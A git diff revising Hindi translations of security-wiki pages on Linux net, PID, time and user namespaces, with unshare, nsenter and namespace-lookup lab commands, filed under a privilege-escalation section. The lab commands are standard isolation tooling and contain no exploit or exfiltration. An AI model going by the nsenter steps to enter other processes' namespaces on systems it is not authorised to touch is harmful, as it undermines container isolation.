-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो एक त्रुटि उत्पन्न होती है क्योंकि Linux नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
-- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
+- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया को बनाने के समय `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
-- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्ति को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
+- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
+- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
-यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नए PID नामस्थान को सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
+यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
@@ -53,7 +53,7 @@ sudo unshare -n [--mount-proc] /bin/bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
# Run ifconfig or ip -a
```
-### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
+### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
```bash
ls -l /proc/self/ns/net
lrwxrwxrwx 1 root root 0 Apr 4 20:30 /proc/self/ns/net -> 'net:[4026531840]'
@@ -68,9 +68,9 @@ sudo find /proc -maxdepth 3 -type l -name net -exec ls -l {} \; 2>/dev/null | g
```bash
nsenter -n TARGET_PID --pid /bin/bash
```
-आप केवल **रूट** होने पर ही किसी अन्य प्रक्रिया नामस्थान में **प्रवेश** कर सकते हैं। और आप **बिना** किसी **विवरण** के अन्य नामस्थान में **प्रवेश** **नहीं** कर सकते (जैसे `/proc/self/ns/net`)।
+आप केवल **दूसरे प्रक्रिया नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में प्रवेश नहीं कर सकते** **बिना एक वर्णनकर्ता** जो इसे इंगित करता है (जैसे `/proc/self/ns/net`)।
-## संदर्भ
+## References
- [https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory](https://stackoverflow.com/questions/44666700/unshare-pid-bin-bash-fork-cannot-allocate-memory)
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
index 215d69a1e..15b6eb8e9 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/pid-namespace.md
@@ -6,16 +6,16 @@
PID (Process IDentifier) namespace एक विशेषता है जो Linux kernel में प्रक्रिया अलगाव प्रदान करती है, जिससे प्रक्रियाओं के एक समूह को अपने स्वयं के अद्वितीय PIDs का सेट प्राप्त होता है, जो अन्य namespaces में PIDs से अलग होता है। यह विशेष रूप से कंटेनरीकरण में उपयोगी है, जहां प्रक्रिया अलगाव सुरक्षा और संसाधन प्रबंधन के लिए आवश्यक है।
-जब एक नया PID namespace बनाया जाता है, तो उस namespace में पहली प्रक्रिया को PID 1 सौंपा जाता है। यह प्रक्रिया नए namespace की "init" प्रक्रिया बन जाती है और namespace के भीतर अन्य प्रक्रियाओं का प्रबंधन करने के लिए जिम्मेदार होती है। namespace के भीतर बनाई गई प्रत्येक अगली प्रक्रिया का एक अद्वितीय PID होगा, और ये PIDs अन्य namespaces में PIDs से स्वतंत्र होंगे।
+जब एक नया PID namespace बनाया जाता है, तो उस namespace में पहला प्रक्रिया PID 1 सौंपा जाता है। यह प्रक्रिया नए namespace की "init" प्रक्रिया बन जाती है और namespace के भीतर अन्य प्रक्रियाओं का प्रबंधन करने के लिए जिम्मेदार होती है। namespace के भीतर बनाई गई प्रत्येक अगली प्रक्रिया का एक अद्वितीय PID होगा, और ये PIDs अन्य namespaces में PIDs से स्वतंत्र होंगे।
-PID namespace के भीतर एक प्रक्रिया के दृष्टिकोण से, यह केवल उसी namespace में अन्य प्रक्रियाओं को देख सकती है। यह अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं है, और यह पारंपरिक प्रक्रिया प्रबंधन उपकरणों (जैसे, `kill`, `wait`, आदि) का उपयोग करके उनके साथ बातचीत नहीं कर सकती। यह एक स्तर का अलगाव प्रदान करता है जो प्रक्रियाओं को एक-दूसरे में हस्तक्षेप करने से रोकने में मदद करता है।
+PID namespace के भीतर एक प्रक्रिया के दृष्टिकोण से, यह केवल उसी namespace में अन्य प्रक्रियाओं को देख सकती है। यह अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं होती है, और यह पारंपरिक प्रक्रिया प्रबंधन उपकरणों (जैसे, `kill`, `wait`, आदि) का उपयोग करके उनके साथ बातचीत नहीं कर सकती। यह एक स्तर का अलगाव प्रदान करता है जो प्रक्रियाओं को एक-दूसरे के साथ हस्तक्षेप करने से रोकने में मदद करता है।
### How it works:
1. जब एक नई प्रक्रिया बनाई जाती है (जैसे, `clone()` सिस्टम कॉल का उपयोग करके), तो प्रक्रिया को एक नए या मौजूदा PID namespace में सौंपा जा सकता है। **यदि एक नया namespace बनाया जाता है, तो प्रक्रिया उस namespace की "init" प्रक्रिया बन जाती है**।
2. **kernel** नए namespace में PIDs और संबंधित PIDs के बीच एक **मैपिंग बनाए रखता है** जो माता-पिता namespace में होती है (यानी, वह namespace जिससे नया namespace बनाया गया था)। यह मैपिंग **kernel को आवश्यकतानुसार PIDs का अनुवाद करने की अनुमति देती है**, जैसे कि विभिन्न namespaces में प्रक्रियाओं के बीच संकेत भेजते समय।
-3. **PID namespace के भीतर प्रक्रियाएँ केवल उसी namespace में अन्य प्रक्रियाओं को देख और बातचीत कर सकती हैं**। वे अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं हैं, और उनके PIDs उनके namespace के भीतर अद्वितीय होते हैं।
-4. जब एक **PID namespace नष्ट किया जाता है** (जैसे, जब namespace की "init" प्रक्रिया समाप्त होती है), **तो उस namespace के भीतर सभी प्रक्रियाएँ समाप्त हो जाती हैं**। यह सुनिश्चित करता है कि namespace से संबंधित सभी संसाधनों को सही तरीके से साफ किया जाए।
+3. **PID namespace के भीतर प्रक्रियाएँ केवल उसी namespace में अन्य प्रक्रियाओं को देख और बातचीत कर सकती हैं**। वे अन्य namespaces में प्रक्रियाओं के बारे में अवगत नहीं होती हैं, और उनके PIDs उनके namespace के भीतर अद्वितीय होते हैं।
+4. जब एक **PID namespace नष्ट किया जाता है** (जैसे, जब namespace की "init" प्रक्रिया समाप्त होती है), तो **उस namespace के भीतर सभी प्रक्रियाएँ समाप्त हो जाती हैं**। यह सुनिश्चित करता है कि namespace से संबंधित सभी संसाधनों को सही ढंग से साफ किया जाए।
## Lab:
@@ -33,29 +33,29 @@ sudo unshare -pf --mount-proc /bin/bash
1. **समस्या का विवरण**:
-- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान (जिसे "unshare" प्रक्रिया कहा जाता है) के निर्माण की शुरुआत करने वाली प्रक्रिया नए नामस्थान में नहीं जाती; केवल इसकी संतान प्रक्रियाएँ जाती हैं।
-- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी संतान प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली संतान प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना होता है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- Linux कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नई PID नामस्थान (जिसे "unshare" प्रक्रिया कहा जाता है) बनाने की प्रक्रिया नए नामस्थान में नहीं जाती है; केवल इसकी बाल प्रक्रियाएँ जाती हैं।
+- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का विशेष कार्य अनाथ प्रक्रियाओं को अपनाना है। Linux कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया को बनाने के समय `alloc_pid` फ़ंक्शन नए PID आवंटित करने में विफल हो जाता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
-- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए मजबूर करता है।
-- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी संतान प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
+- समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
+- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ बिना मेमोरी आवंटन त्रुटि का सामना किए कार्य कर सकती हैं।
-यदि आप `--mount-proc` पैरामीटर का उपयोग करके `/proc` फ़ाइल प्रणाली का एक नया उदाहरण माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृष्टिकोण** है।
+यदि आप पैरामीटर `--mount-proc` का उपयोग करके `/proc` फ़ाइल प्रणाली का एक नया उदाहरण माउंट करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलगावित दृश्य** है।
#### Docker
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रोसेस किस नामस्थान में है
+### जांचें कि आपका प्रोसेस किस नामस्थान में है
```bash
ls -l /proc/self/ns/pid
lrwxrwxrwx 1 root root 0 Apr 3 18:45 /proc/self/ns/pid -> 'pid:[4026532412]'
@@ -72,7 +72,7 @@ nsenter -t TARGET_PID --pid /bin/bash
```
जब आप डिफ़ॉल्ट नामस्थान से PID नामस्थान के अंदर प्रवेश करते हैं, तो आप सभी प्रक्रियाओं को देख पाएंगे। और उस PID ns से प्रक्रिया नए bash को PID ns पर देख सकेगी।
-इसके अलावा, आप केवल **दूसरी प्रक्रिया PID नामस्थान में प्रवेश कर सकते हैं यदि आप रूट हैं**। और आप **दूसरे नामस्थान में** **बिना एक वर्णनकर्ता** के **प्रवेश नहीं कर सकते** जो इसे इंगित करता है (जैसे `/proc/self/ns/pid`)
+इसके अलावा, आप केवल **रूट होने पर ही किसी अन्य प्रक्रिया PID नामस्थान में प्रवेश कर सकते हैं**। और आप **बिना एक वर्णनकर्ता** के **अन्य नामस्थान में प्रवेश नहीं कर सकते** (जैसे `/proc/self/ns/pid`)
## संदर्भ
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
index cc8a981dd..8933977a6 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/time-namespace.md
@@ -14,27 +14,27 @@ Linux में टाइम नेमस्पेस सिस्टम मो
```bash
sudo unshare -T [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलगावित दृश्य** रखता है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
- `%unshare -p /bin/bash%` चलाने से `/bin/bash` उसी प्रक्रिया में शुरू होता है जैसे `unshare`। परिणामस्वरूप, `/bin/bash` और इसकी बाल प्रक्रियाएँ मूल PID नामस्थान में होती हैं।
-- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यदि कोई अन्य प्रक्रियाएँ नहीं हैं, तो यह नामस्थान की सफाई को ट्रिगर करती है, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
+- नए नामस्थान में `/bin/bash` की पहली बाल प्रक्रिया PID 1 बन जाती है। जब यह प्रक्रिया समाप्त होती है, तो यह नामस्थान की सफाई को ट्रिगर करती है यदि कोई अन्य प्रक्रियाएँ नहीं हैं, क्योंकि PID 1 का अनाथ प्रक्रियाओं को अपनाने की विशेष भूमिका होती है। लिनक्स कर्नेल तब उस नामस्थान में PID आवंटन को अक्षम कर देगा।
2. **परिणाम**:
-- नए नामस्थान में PID 1 के समाप्त होने से `PIDNS_HASH_ADDING` ध्वज की सफाई होती है। इसका परिणाम यह होता है कि नए प्रक्रिया बनाने के दौरान `alloc_pid` फ़ंक्शन नए PID को आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
+- नए नामस्थान में PID 1 का समाप्त होना `PIDNS_HASH_ADDING` ध्वज की सफाई की ओर ले जाता है। इसका परिणाम यह होता है कि `alloc_pid` फ़ंक्शन नए प्रक्रिया बनाने के दौरान एक नया PID आवंटित करने में विफल रहता है, जिससे "Cannot allocate memory" त्रुटि उत्पन्न होती है।
3. **समाधान**:
- इस समस्या को `unshare` के साथ `-f` विकल्प का उपयोग करके हल किया जा सकता है। यह विकल्प `unshare` को नए PID नामस्थान बनाने के बाद एक नई प्रक्रिया बनाने के लिए फोर्क करता है।
-- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्व समय में समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
+- `%unshare -fp /bin/bash%` निष्पादित करने से यह सुनिश्चित होता है कि `unshare` कमांड स्वयं नए नामस्थान में PID 1 बन जाता है। `/bin/bash` और इसकी बाल प्रक्रियाएँ फिर इस नए नामस्थान में सुरक्षित रूप से समाहित होती हैं, PID 1 के पूर्ववर्ती समाप्त होने को रोकती हैं और सामान्य PID आवंटन की अनुमति देती हैं।
यह सुनिश्चित करके कि `unshare` `-f` ध्वज के साथ चलता है, नया PID नामस्थान सही ढंग से बनाए रखा जाता है, जिससे `/bin/bash` और इसकी उप-प्रक्रियाएँ मेमोरी आवंटन त्रुटि का सामना किए बिना कार्य कर सकें।
@@ -44,7 +44,7 @@ sudo unshare -T [--mount-proc] /bin/bash
```bash
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
```
-### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
+### जांचें कि आपका प्रोसेस किस नेमस्पेस में है
```bash
ls -l /proc/self/ns/time
lrwxrwxrwx 1 root root 0 Apr 4 21:16 /proc/self/ns/time -> 'time:[4026531834]'
@@ -55,7 +55,7 @@ sudo find /proc -maxdepth 3 -type l -name time -exec readlink {} \; 2>/dev/null
# Find the processes with an specific namespace
sudo find /proc -maxdepth 3 -type l -name time -exec ls -l {} \; 2>/dev/null | grep
```
-### एक टाइम नेमस्पेस के अंदर प्रवेश करें
+### टाइम नेमस्पेस के अंदर प्रवेश करें
```bash
nsenter -T TARGET_PID --pid /bin/bash
```
diff --git a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
index bba62169d..9b6b199aa 100644
--- a/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/namespaces/user-namespace.md
@@ -4,16 +4,16 @@
## Basic Information
-एक उपयोगकर्ता नामस्थान एक Linux कर्नेल विशेषता है जो **उपयोगकर्ता और समूह ID मैपिंग का पृथक्करण प्रदान करती है**, जिससे प्रत्येक उपयोगकर्ता नामस्थान के पास **अपने स्वयं के उपयोगकर्ता और समूह ID का सेट** हो सकता है। यह पृथक्करण विभिन्न उपयोगकर्ता नामस्थानों में चलने वाली प्रक्रियाओं को **विभिन्न विशेषाधिकार और स्वामित्व** रखने की अनुमति देता है, भले ही वे संख्यात्मक रूप से समान उपयोगकर्ता और समूह ID साझा करते हों।
+एक user namespace एक Linux kernel विशेषता है जो **उपयोगकर्ता और समूह ID मैपिंग का पृथक्करण प्रदान करती है**, जिससे प्रत्येक user namespace को **अपने स्वयं के उपयोगकर्ता और समूह IDs का सेट** मिल सके। यह पृथक्करण विभिन्न user namespaces में चलने वाली प्रक्रियाओं को **विभिन्न विशेषाधिकार और स्वामित्व** रखने की अनुमति देता है, भले ही वे संख्यात्मक रूप से समान उपयोगकर्ता और समूह IDs साझा करते हों।
-उपयोगकर्ता नामस्थान कंटेनरीकरण में विशेष रूप से उपयोगी होते हैं, जहां प्रत्येक कंटेनर के पास अपने स्वतंत्र उपयोगकर्ता और समूह ID का सेट होना चाहिए, जिससे कंटेनरों और होस्ट सिस्टम के बीच बेहतर सुरक्षा और पृथक्करण की अनुमति मिलती है।
+User namespaces विशेष रूप से कंटेनरीकरण में उपयोगी होते हैं, जहां प्रत्येक कंटेनर को अपने स्वतंत्र उपयोगकर्ता और समूह IDs का सेट होना चाहिए, जिससे कंटेनरों और होस्ट सिस्टम के बीच बेहतर सुरक्षा और पृथक्करण संभव हो सके।
### How it works:
-1. जब एक नया उपयोगकर्ता नामस्थान बनाया जाता है, तो यह **उपयोगकर्ता और समूह ID मैपिंग का एक खाली सेट के साथ शुरू होता है**। इसका मतलब है कि नए उपयोगकर्ता नामस्थान में चलने वाली कोई भी प्रक्रिया **शुरुआत में नामस्थान के बाहर कोई विशेषाधिकार नहीं रखेगी**।
-2. नए नामस्थान में उपयोगकर्ता और समूह ID के बीच और माता-पिता (या होस्ट) नामस्थान में ID मैपिंग स्थापित की जा सकती है। यह **नए नामस्थान में प्रक्रियाओं को माता-पिता नामस्थान में उपयोगकर्ता और समूह ID के अनुसार विशेषाधिकार और स्वामित्व रखने की अनुमति देता है**। हालाँकि, ID मैपिंग को विशिष्ट रेंज और ID के उपसमुच्चयों तक सीमित किया जा सकता है, जिससे नए नामस्थान में प्रक्रियाओं को दिए गए विशेषाधिकार पर बारीक नियंत्रण की अनुमति मिलती है।
-3. एक उपयोगकर्ता नामस्थान के भीतर, **प्रक्रियाओं के पास नामस्थान के भीतर संचालन के लिए पूर्ण रूट विशेषाधिकार (UID 0) हो सकते हैं**, जबकि नामस्थान के बाहर सीमित विशेषाधिकार रख सकते हैं। यह **कंटेनरों को अपने स्वयं के नामस्थान के भीतर रूट-जैसी क्षमताओं के साथ चलाने की अनुमति देता है बिना होस्ट सिस्टम पर पूर्ण रूट विशेषाधिकार के**।
-4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके नामस्थानों के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए नामस्थान बना सकती हैं जिसमें `CLONE_NEWUSER` ध्वज होता है। जब कोई प्रक्रिया नए नामस्थान में जाती है या एक बनाती है, तो यह उस नामस्थान से संबंधित उपयोगकर्ता और समूह ID मैपिंग का उपयोग करना शुरू कर देगी।
+1. जब एक नया user namespace बनाया जाता है, तो यह **उपयोगकर्ता और समूह ID मैपिंग का एक खाली सेट** के साथ **शुरू होता है**। इसका मतलब है कि नए user namespace में चलने वाली कोई भी प्रक्रिया **शुरुआत में namespace के बाहर कोई विशेषाधिकार नहीं रखेगी**।
+2. ID मैपिंग को नए namespace में उपयोगकर्ता और समूह IDs और माता-पिता (या होस्ट) namespace में IDs के बीच स्थापित किया जा सकता है। यह **नए namespace में प्रक्रियाओं को माता-पिता namespace में उपयोगकर्ता और समूह IDs के अनुसार विशेषाधिकार और स्वामित्व प्राप्त करने की अनुमति देता है**। हालाँकि, ID मैपिंग को विशिष्ट रेंज और IDs के उपसमुच्चयों तक सीमित किया जा सकता है, जिससे नए namespace में प्रक्रियाओं को दिए गए विशेषाधिकार पर बारीक नियंत्रण संभव हो सके।
+3. एक user namespace के भीतर, **प्रक्रियाओं के पास namespace के भीतर संचालन के लिए पूर्ण रूट विशेषाधिकार (UID 0) हो सकते हैं**, जबकि अभी भी namespace के बाहर सीमित विशेषाधिकार रख सकते हैं। यह **कंटेनरों को अपने स्वयं के namespace के भीतर रूट-जैसी क्षमताओं के साथ चलाने की अनुमति देता है बिना होस्ट सिस्टम पर पूर्ण रूट विशेषाधिकार के**।
+4. प्रक्रियाएँ `setns()` सिस्टम कॉल का उपयोग करके namespaces के बीच स्थानांतरित हो सकती हैं या `unshare()` या `clone()` सिस्टम कॉल का उपयोग करके नए namespaces बना सकती हैं जिसमें `CLONE_NEWUSER` फ्लैग होता है। जब कोई प्रक्रिया एक नए namespace में जाती है या एक बनाती है, तो यह उस namespace से संबंधित उपयोगकर्ता और समूह ID मैपिंग का उपयोग करना शुरू कर देगी।
## Lab:
@@ -23,29 +23,29 @@
```bash
sudo unshare -U [--mount-proc] /bin/bash
```
-एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नया माउंट नामस्थान उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का **सटीक और अलग दृश्य** रखता है।
+एक नए `/proc` फ़ाइल सिस्टम के उदाहरण को माउंट करके, यदि आप पैरामीटर `--mount-proc` का उपयोग करते हैं, तो आप सुनिश्चित करते हैं कि नए माउंट नामस्थान में **उस नामस्थान के लिए विशिष्ट प्रक्रिया जानकारी का सटीक और अलगावित दृश्य** है।
त्रुटि: bash: fork: मेमोरी आवंटित नहीं कर सकता
-जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि उत्पन्न होती है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
+जब `unshare` को `-f` विकल्प के बिना निष्पादित किया जाता है, तो लिनक्स नए PID (प्रक्रिया आईडी) नामस्थान को संभालने के तरीके के कारण एक त्रुटि का सामना करता है। मुख्य विवरण और समाधान नीचे दिए गए हैं:
1. **समस्या का विवरण**:
- लिनक्स कर्नेल एक प्रक्रिया को `unshare` सिस्टम कॉल का उपयोग करके नए नामस्थान बनाने की अनुमति देता है। हालाँकि, नए PID नामस्थान के निर्माण की शुरुआत करने वाली प्रक्रिया (जिसे "unshare" प्रक्रिया कहा जाता है) नए नामस्थान में प्रवेश नहीं करती है; केवल इसकी बाल प्रक्रियाएँ करती हैं।
